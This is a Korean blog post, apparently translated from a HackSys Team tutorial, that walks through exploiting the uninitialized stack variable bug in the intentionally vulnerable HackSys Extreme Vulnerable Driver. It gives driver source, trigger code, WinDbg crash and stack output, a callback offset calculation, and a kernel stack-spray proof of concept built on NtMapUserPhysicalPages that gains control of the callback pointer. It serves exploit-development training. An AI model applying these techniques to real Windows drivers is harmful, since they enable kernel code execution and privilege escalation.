INTRODUCTION

 

우리는 초기화 되지 않은 스택 변수 취약점에 대해서 이야기 할 것이다. 이 포스트는 짧은 시간 동안 당신에게 초기화 되지 않은 변수와 그것이 당신의 코드에서 어떤 악영향을 주는지도 이야기 할 것이다.

 

HackSys Extreme Vulnerable Driver에 구현 된 초기화 되지 않은 스택 변수 취약점을 예를 들며 이 문제에 대해 논의 할 것이다. 어떤 문제가 이 코드에서 일어나는지, 어떻게 그것을 트리거 하는지 이해 할 수 있을 것이다. 그리고 최종적으로 어떻게 커널 모드에서 시스템 권한을 얻기 위해 익스플로잇 하는지 말이다.

 

UNINITIALIZED VARIABLE

 

Wikipedia: 컴퓨팅에서, 초기화 되지 않은 변수는 곧 선언 된 변수이다. 하지만 그것은 우리가 사용하기 전에는 명확한 값으로 설정되어 있지 않다. 그것은 몇 가지 값들을 가질 것이지만 예측할 수는 없다. 보통 말하는 그것은 프로그래밍 에러이고, 소프트웨어 버그다.

 

THE VULNERABILITY

 

드라이버의 소스코드를 보고 취약점이 어디에 있는지 이해 해 보자.

 

UninitializedStackVariable.h


				typedef struct _UNINITIALIZED_STACK_VARIABLE {

ULONG Value;

FunctionPointer Callback;

ULONG Buffer[58];

} UNINITIALIZED_STACK_VARIABLE, *PUNINITIALIZED_STACK_VARIABLE;

 

UninitializedStackVariable.c

 

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {

    ULONG UserValue = 0;

    ULONG MagicValue = 0xBAD0B0B0;

    NTSTATUS Status = STATUS_SUCCESS;

    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;

 

    PAGED_CODE();

 

    __try {

        // Verify if the buffer resides in user mode

        ProbeForRead(UserBuffer,

                     sizeof(UNINITIALIZED_STACK_VARIABLE),

                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

 

        // Get the value from user mode

        UserValue = *(PULONG)UserBuffer;

 

        // Validate the magic value

        if (UserValue == MagicValue) {

            UninitializedStackVariable.Value = UserValue;

            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;

        }

 

        // Call the callback function

        if (UninitializedStackVariable.Callback) {

            UninitializedStackVariable.Callback();

        }

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        Status = GetExceptionCode();

    }

    return Status;

}
					

 

코드 내에서 초기화 되지 않은 스택 변수가 선언되어 있는 것을 볼 수 있다. 이것은 구체적인 값(랜덤값이라는 의미인듯) 으로 설정 되지는 않는다. 하지만 그것은 문제가 아니다. 문제는 코드 트리거가 UninitializedStackVariable.Callback() 함수를 호출하거나 call-back할 때 UserValue == MagicValue 비교가 실패 할 수 있다는 사실을 무시 할 때 발생한다.

 

IDA Call graph는 매우 간단하게 초기화되지 않은 변수에 대한 호출을 볼 수 있다.

 

초기화 되지 않은 스택 변수는 초기화 되지 않았고 그리고 지역 변수이다. 보다시피, 그것은 커널 스택에 있으며 이전에 호출 된 함수에 의해 들어가 있는 데이터가 포함 될 것이다.

 

다만 명확하게 하자면, 초기화되지 않은 스택과 같은 취약점의 악용은 구현에 따라 달라진다. 그리고 초기화 되지 않은 변수가 어플리케이션에서 어떻게 사용되는지에 따라서도 말이다.

 

UNINITIALIZED_STACK_VARIABLE 구조체 정의에서는, 콜백은 함수 포인터로 정의 되어있음을 볼 수 있다. 이건 exploitation의 관점에서 매우 좋은 함수이다.

 

만약 우리가 커널 스택에 있는 데이터를 조작 할 수 있다면, UninitializedStackVariable를 조작 할 수 있을 것이고, 자연스럽게 Callback을 조작 할 수 있을 것이다.

 

VULNERABILITY TRIGGER

 

  • HackSys Extreme Vulnerable Driver의 초기화 되지 않은 변수 취약점의 사용을 트리거 할 수 있는 방법을 찾기
  • 커널 스택 레이아웃 / 사용자 모드에서 데이터 조작
  • Prevent the user controlled data on the Kernel stack from getting clobbered

 

EXPLOITATION CHALLENGES

 

소스코드를 생각하자면, 우리는 UserValue == MagicValue가 실패할 경우, Unitialized Stack Variable 취약점이 트리거 된다.

 

DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {

    ULONG BytesReturned;

    HANDLE hFile = NULL;

    ULONG MagicValue = 0xBAADF00D;

    LPCSTR FileName = (LPCSTR)DEVICE_NAME;

    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;

 

    __try {

        // Get the device handle

        hFile = GetDeviceHandle(FileName);

 

        if (hFile == INVALID_HANDLE_VALUE) {

            exit(EXIT_FAILURE);

        }

 

        // trigger the vulnerability

        DeviceIoControl(hFile,

                        HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,

                        (LPVOID)&MagicValue,

                        0,

                        NULL,

                        0,

                        &BytesReturned,

                        NULL);

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        exit(EXIT_FAILURE);

    }

    return EXIT_SUCCESS;

}
					

 

드라이버 소스 코드에서 볼 수 있듯이, 취약한 코드는 __try/__except로 둘러싸여 타켓의 운영체제는 크래쉬가 일어나지 않을 것이다. 그래서 우리는 GFlag를 이용해 Stop On Exception을 활성화 해야 한다.

 

kd> !gflag +soe

New NtGlobalFlag contents: 0x00000001

    soe - Stop On Exception
					

 

kd> g

 

            ##     ## ######## ##     ## ########       

            ##     ## ##       ##     ## ##     ##      

            ##     ## ##       ##     ## ##     ##      

            ######### ######   ##     ## ##     ##      

            ##     ## ##        ##   ##  ##     ##      

            ##     ## ##         ## ##   ##     ##      

            ##     ## ########    ###    ########       

 

          HackSys Extreme Vulnerable Driver Exploits    

                 Ashfaq Ansari (@HackSysTeam)           

                   ashfaq[at]payatu[dot]com             

 

[+] Starting Uninitialized Stack Variable Exploitation

    [+] Creating The Exploit Thread

        [+] Exploit Thread Handle: 0x50

****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

[+] UserValue: 0xBAADF00D

[+] UninitializedStackVariable Address: 0x8A6CC9C8

[+] UninitializedStackVariable.Value: 0x85A1E940

[+] UninitializedStackVariable.Callback: 0x00000400

[+] Triggering Uninitialized Stack Variable Vulnerability

Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

00000400 ??              ???

 

kd> !analyze -v

*******************************************************************************

*                                                                             *

*                        Bugcheck Analysis                                    *

*                                                                             *

*******************************************************************************

 

Unknown bugcheck code (0)

Unknown bugcheck description

Arguments:

Arg1: 00000000

Arg2: 00000000

Arg3: 00000000

Arg4: 00000000

 

Debugging Details:

------------------

PROCESS_NAME:  HackSysEVDExpl

FAULTING_IP: 

+12a

00000400 ??              ???

 

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)

ExceptionAddress: 00000400

   ExceptionCode: c0000005 (Access violation)

  ExceptionFlags: 00000000

NumberParameters: 2

   Parameter[0]: 00000000

   Parameter[1]: 00000400

Attempt to read from address 00000400

 

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

 

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

 

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000400

READ_ADDRESS:  00000400 

 

FOLLOWUP_IP: 

HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]

89f80e82 eb21            jmp     HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0xbd (89f80ea5)

 

FAILED_INSTRUCTION_ADDRESS: 

+1ad2faf00bcdfc0

00000400 ??              ???

 

BUGCHECK_STR:  ACCESS_VIOLATION

DEFAULT_BUCKET_ID:  INTEL_CPU_MICROCODE_ZERO

CURRENT_IRQL:  0

LAST_CONTROL_TRANSFER:  from 89f80e82 to 00000400

 

STACK_TEXT:  

WARNING: Frame IP not in any known module. Following frames may be wrong.

8a6cc9b0 89f80e82 039a4375 8427c830 8427c8a0 0x400

8a6ccad4 89f80ed6 016cfb7c 8a6ccafc 89f810d2 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]

8a6ccae0 89f810d2 8427c830 8427c8a0 859f31f0 HackSysExtremeVulnerableDriver!UninitializedStackVariableIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 151]

8a6ccafc 82866047 843a4030 8427c830 8427c830 HackSysExtremeVulnerableDriver!IrpDeviceIoCtlHandler+0x156 [c:\hacksysextremevulnerabledriver\driver\source\hacksysextremevulnerabledriver.c @ 283]

8a6ccb14 82a3c9d5 859f31f0 8427c830 8427c8a0 nt!IofCallDriver+0x63

8a6ccb34 82a3edc8 843a4030 859f31f0 00000000 nt!IopSynchronousServiceTail+0x1f8

8a6ccbd0 82a45d9d 843a4030 8427c830 00000000 nt!IopXxxControlFile+0x6aa

8a6ccc04 8286c87a 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a

8a6ccc04 771770b4 00000054 00000000 00000000 nt!KiFastCallEntry+0x12a

016cfb14 7635a671 00000054 0022202f 016cfb7c 0x771770b4

016cfb40 00042faf 00000054 0022202f 016cfb7c 0x7635a671

016cfb98 76363c45 00000000 016cfbe4 771937f5 0x42faf

016cfba4 771937f5 00000000 7643ae30 00000000 0x76363c45

016cfbe4 771937c8 00042f40 00000000 00000000 0x771937f5

016cfbfc 00000000 00042f40 00000000 00000000 0x771937c8

 

STACK_COMMAND:  kb

 

FAULTING_SOURCE_CODE:  

   118:         // Call the callback function

   119:         if (UninitializedStackVariable.Callback) {

   120:             UninitializedStackVariable.Callback();

   121:         }

>  122:     }

   123:     __except (EXCEPTION_EXECUTE_HANDLER) {

   124:         Status = GetExceptionCode();

   125:         DbgPrint("[-] Exception Code: 0x%X\n", Status);

   126:     }

   127: 

 

SYMBOL_STACK_INDEX:  1

SYMBOL_NAME:  HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: HackSysExtremeVulnerableDriver

IMAGE_NAME:  HackSysExtremeVulnerableDriver.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  575abbc8

FAILURE_BUCKET_ID:  ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a

BUCKET_ID:  ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a

 

Followup: MachineOwner

---------
					

 

Windbg 출력결과에서 볼 수 있듯이, UninitializedStackVariable.Callback: 0x00000400 유효한 콜백 루틴 주소처럼 보이지는 않는다. 이것은 우리가 성공적으로 초기화 되지 않은 스택 변수 취약점의 사용을 트리거했다는 뜻이다.

버그에 대한 상황을 좀 더 확인하기위해, 스택과 UninitializedStackVariable이 스택에 있는지 덤프해 보자.

 

kd> dps esp

8a6cc9b4  89f80e82 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [c:\hacksysextremevulnerabledriver\driver\source\uninitializedstackvariable.c @ 122]

8a6cc9b8  039a4375

8a6cc9bc  8427c830

8a6cc9c0  8427c8a0

8a6cc9c4  89f81b28 HackSysExtremeVulnerableDriver! ?? ::NNGAKEGL::`string'

8a6cc9c8  85a1e940  <---- UninitializedStackVariable.Value

8a6cc9cc  00000400  <---- UninitializedStackVariable.Callback

8a6cc9d0  00000000

8a6cc9d4  000e8244

8a6cc9d8  000e833c

8a6cc9dc  000e8244

8a6cc9e0  8a6cca04
					

.

If we can control what's placed at 0x8a6cc9cc, 우리는 Instruction Pointer를 조작할 수 있다.

 

EXPLOITATION STRATEGY

 

  • UninitializedStackVariable.Callback 커널 Stack Init의 offset 찾기
  • 어떻게든 유저모드에서 user/attacker controlled 데이터를 커널 스택에 스프레이하기
  • Prevent the offset of UninitializedStackVariable.Callback from getting clobbered

 

EXPLOITATION

 

우리는 여러 단계로 exploitation을 개발 할 것이다.

 

FINDING OFFSET

 

커널 Stack Init 은 !thread 명령을 통해 찾을 수 있다. 다시 버그를 트리거하고, 명령을 widnbg에서 실행하자.

 

kd> !thread

THREAD 8466d768  Cid 055c.00bc  Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0

IRP List:

    8427c830: (0006,0094) Flags: 00060000  Mdl: 00000000

Not impersonating

DeviceMap                 941095d0

Owning Process            8466d3d8       Image:         HackSysEVDExploit.exe

Attached Process          N/A            Image:         N/A

Wait Start TickCount      100092         Ticks: 0

Context Switch Count      6             

UserTime                  00:00:00.000

KernelTime                00:00:00.060

Win32 Start Address 0x01242f40

Stack Init 9a4bfed0 Current 9a4bef54 Base 9a4c0000 Limit 9a4bd000 Call 0

Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
					

 

그래서 커널 Stack Init = 0x9a4bfed0이며, &UninitializedStackVariable.Callback = 0x9a4bf9cc 이다.

 

kd> ?9a4bfed0-9a4bf9cc  

Evaluate expression: 1284 = 00000504
					

 

이런 이유로 Offset = 0x504이다. 확실히 증명하기 위해 여러 번 실행을 해 오프셋이 동일하게 유지되는 것을 확인 할 수 있다.

 

이제 우리는 스택 초기화로 부터 ofset 0x504에서 조작된 데이터를 입력 할 수 있으며, Instruction Pointer을 하이재킹 할 수 있다.

 

KERNEL STACK SPRAYING

 

이제는 문제는 유저 모드에서 조작된 데이터를 커널 스택에 스프레이 하는 것이다.

 

어떻게 우리는 사용자모드에서 조작된 데이터를 커널 스택에 넣을 수 있을까?

 

그런데, 이를 달성하기 위해 우리는 유저 모드에서 데이터를 얻어 인터페이스를 찾아야 한다. 그리고 커널 모드 스택에 복사해야 한다. (원문: Well, to achieve this, we need to find an interface which takes data from User Mode and copies it to Kernel Mode Stack and does not clobber it much.)

 

HackSys Extreme Vulnerable Driver는 이미 이 같은 인터페이스를 가지고 있으며, 이름은 TriggerStackOverflowTriggerStackOverflowGS 이다.

 

그러나 windows 운영체제에서 유사한 인터페이스를 찾을 수 있을 것이다.

 

그 인터페이스 중 하나는 j00ru에 의해 공개 되었다. 그의 포스트에서는 nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques 와 어떻게 nt!NtMapUserPhysicalPages를 유저모드에서 커널 스택에 활용하는지 좋은 아이디어를 줄 것이다.

 

우리는 1024*sizeof(ULONG_PTR)까지 스프레이를 할 수 있고, 이 API를 이용해 이 취약점을 악용할 수 있을 것이다. (We can spray upto 1024*sizeof(ULONG_PTR) using this API and this is exactly what we need to exploit this vulnerability.)

 

자 이제 커널 스택에 스프레이를 하고 0x41414141로 만드는 PoC(Proof of Concept) 만들어 보자. 그리고 오프셋을 조작하는 것을 확인하자.

 


				DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {

    PULONG StackSprayBuffer = NULL;

    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;

    SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);

 

    __try {

        StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),

                                             HEAP_ZERO_MEMORY,

                                             StackSprayBufferSize);

 

        if (!StackSprayBuffer) {

            exit(EXIT_FAILURE);

        }

 

        RtlFillMemory(StackSprayBuffer, StackSprayBufferSize, 0x41);

 

        ResolveKernelAPIs();

 

        NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);

 

        HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);

        StackSprayBuffer = NULL;

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        exit(EXIT_FAILURE);

    }

 

    return EXIT_SUCCESS;

}
					

 

 

NtMapUserPhysicalPages 루틴 마지막 명령의 브레이크 포인트를 걸고 PoC 실행해 보자.

 


					kd> u !nt+002c6d56 L1

nt!NtMapUserPhysicalPages+0x4e2:

82afdd56 c20c00          ret     0Ch

kd> bp !nt+002c6d56
					

 

브레이크 포인트에 도달하면, 우리는 커널 스택 초기화 주소를 얻고 offset 0x504에서 값을 찾을 있다.

 


					Breakpoint 0 hit

nt!NtMapUserPhysicalPages+0x4e2:

82afdd56 c20c00          ret     0Ch

kd> !thread

THREAD 8439fd48  Cid 03e0.072c  Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0

Not impersonating

DeviceMap                 941095d0

Owning Process            84419d40       Image:         HackSysEVDExploit.exe

Attached Process          N/A            Image:         N/A

Wait Start TickCount      226817         Ticks: 0

Context Switch Count      52             

UserTime                  00:00:00.000

KernelTime                00:00:00.090

Win32 Start Address 0x013532c0

Stack Init 80eeded0 Current 80eed9d0 Base 80eee000 Limit 80eeb000 Call 0

Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
					

 

이제, 우리가 관심있었던 오프셋의 주소를 얻을 수 있다.

 

kd> ?80eeded0-0x504

Evaluate expression: -2131830324 = 80eed9cc
					

 

마지막으로 어떤 값을 가지고 있는지 확인 하기 위해 덤프해보자.

 


				kd> dd 80eed9cc L1

80eed9cc  41414141
					

 

와우! 이것은 매우 재미있다. 우리는 이 값을 컨트롤 할 수 있게 되었다.

 

DON'T CLOBBER ME

 

이 시점에서 우리는 사용자 모드에서 커널 스택 데이터를 제어한다. 다른 함수 호출에 의해서 여러방향에서 공격이 나지 않도록 하는 것이 필수적이다. (At this point, we control the data on the Kernel Stack from User Mode. It is essential to prevent it from getting clobbered by other function calls.)

 

이를 위해 우리는 커널 스택을 사용하는 임의의 다른 기능을 방지할 필요가 있다. 그것은 단지 커널스택을 스프레이한 뒤 취약점을 유발 한 뒤 다른 함수를 호출하지 않도록 하면 된다.

 

심지어 간단한 printf문으로 exploitation이 실패 할 것이다.

 

REFERENCES

 

  1. 2016.09.14 22:18

    비밀댓글입니다

+ Recent posts